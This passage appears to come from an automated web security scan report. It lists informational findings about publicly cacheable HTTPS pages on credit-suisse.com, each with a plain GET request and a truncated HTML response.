Date: Mon, 19 Sep 2011 14:43:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33495

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.79. https://www.credit-suisse.com/responsibility/en/approach.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/approach.jsp

Request

GET /responsibility/en/approach.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:43:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30856

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.80. https://www.credit-suisse.com/responsibility/en/banking/client_focus.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/client_focus.jsp

Request

GET /responsibility/en/banking/client_focus.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.81. https://www.credit-suisse.com/responsibility/en/banking/client_foundations.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/client_foundations.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30450

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.82. https://www.credit-suisse.com/responsibility/en/banking/csri/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/csri/index.jsp

Request

GET /responsibility/en/banking/csri/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21537

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.83. https://www.credit-suisse.com/responsibility/en/banking/due_diligence.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/due_diligence.jsp

Request

GET /responsibility/en/banking/due_diligence.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29717

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.84. https://www.credit-suisse.com/responsibility/en/banking/environment.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/environment.jsp

Request

GET /responsibility/en/banking/environment.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.85. https://www.credit-suisse.com/responsibility/en/banking/equator_principles.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/equator_principles.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30481

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.86. https://www.credit-suisse.com/responsibility/en/banking/global_compact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/global_compact.jsp

Request

GET /responsibility/en/banking/global_compact.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 33994

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.87. https://www.credit-suisse.com/responsibility/en/banking/human_rights.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/human_rights.jsp

Request

GET /responsibility/en/banking/human_rights.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32745

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.88. https://www.credit-suisse.com/responsibility/en/banking/improper_use.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/improper_use.jsp

Request

GET /responsibility/en/banking/improper_use.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29492

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.89. https://www.credit-suisse.com/responsibility/en/banking/international_agreements.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/international_agreements.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29128

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.90. https://www.credit-suisse.com/responsibility/en/banking/microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/microfinance.jsp

Request

GET /responsibility/en/banking/microfinance.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31049

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.91. https://www.credit-suisse.com/responsibility/en/banking/new_markets.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/new_markets.jsp

Request

GET /responsibility/en/banking/new_markets.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 35590

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.92. https://www.credit-suisse.com/responsibility/en/banking/projects_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/projects_microfinance.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.93. https://www.credit-suisse.com/responsibility/en/banking/risk_review.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/risk_review.jsp

Request

GET /responsibility/en/banking/risk_review.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29445

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.94. https://www.credit-suisse.com/responsibility/en/banking/sector_policies.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sector_policies.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 28583

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.95. https://www.credit-suisse.com/responsibility/en/banking/sme_switzerland.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sme_switzerland.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29907

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.96. https://www.credit-suisse.com/responsibility/en/banking/sustainability_policy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/sustainability_policy.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:38 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 31149

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.97. https://www.credit-suisse.com/responsibility/en/banking/trust.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/trust.jsp

Request

GET /responsibility/en/banking/trust.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.98. https://www.credit-suisse.com/responsibility/en/banking/unep.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/unep.jsp

Request

GET /responsibility/en/banking/unep.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29779

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.99. https://www.credit-suisse.com/responsibility/en/banking/what_is_microfinance.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/what_is_microfinance.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:34 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32449

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.100. https://www.credit-suisse.com/responsibility/en/banking/wolfsberg.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/banking/wolfsberg.jsp

Request

GET /responsibility/en/banking/wolfsberg.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29098

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.101. https://www.credit-suisse.com/responsibility/en/climate_change.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/climate_change.jsp

Request

GET /responsibility/en/climate_change.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:52:37 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32482

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.102. https://www.credit-suisse.com/responsibility/en/climate_protection.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/climate_protection.jsp

Request

GET /responsibility/en/climate_protection.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:52:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 29895

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.103. https://www.credit-suisse.com/responsibility/en/ecology.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/ecology.jsp

Request

GET /responsibility/en/ecology.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:27 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30456

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.104. https://www.credit-suisse.com/responsibility/en/employer/business_school_assessing_impact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_assessing_impact.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.105. https://www.credit-suisse.com/responsibility/en/employer/business_school_experience_sharing.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_experience_sharing.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30777

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.106. https://www.credit-suisse.com/responsibility/en/employer/business_school_learning_technologies.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_learning_technologies.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32092

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.107. https://www.credit-suisse.com/responsibility/en/employer/business_school_new.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_new.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32048

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.108. https://www.credit-suisse.com/responsibility/en/employer/business_school_quality.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_quality.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30215

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.109. https://www.credit-suisse.com/responsibility/en/employer/business_school_succession.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/business_school_succession.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32470

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.110. https://www.credit-suisse.com/responsibility/en/employer/development.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/development.jsp

Request

GET /responsibility/en/employer/development.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:45:19 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30770

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.111. https://www.credit-suisse.com/responsibility/en/employer/diversity.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/diversity.jsp

Request

GET /responsibility/en/employer/diversity.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.112. https://www.credit-suisse.com/responsibility/en/employer/gdi_strategy.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/gdi_strategy.jsp

Request

GET /responsibility/en/employer/gdi_strategy.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30382

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.113. https://www.credit-suisse.com/responsibility/en/employer/graduates.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/graduates.jsp

Request

GET /responsibility/en/employer/graduates.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 32427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<head><meta http-equiv='cache-control' content='PUBLIC' />

<meta name='robots' content='FOLLOW' />
...[SNIP]...

17.114. https://www.credit-suisse.com/responsibility/en/employer/health_social_care.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/responsibility/en/employer/health_social_care.jsp

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:44:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30168

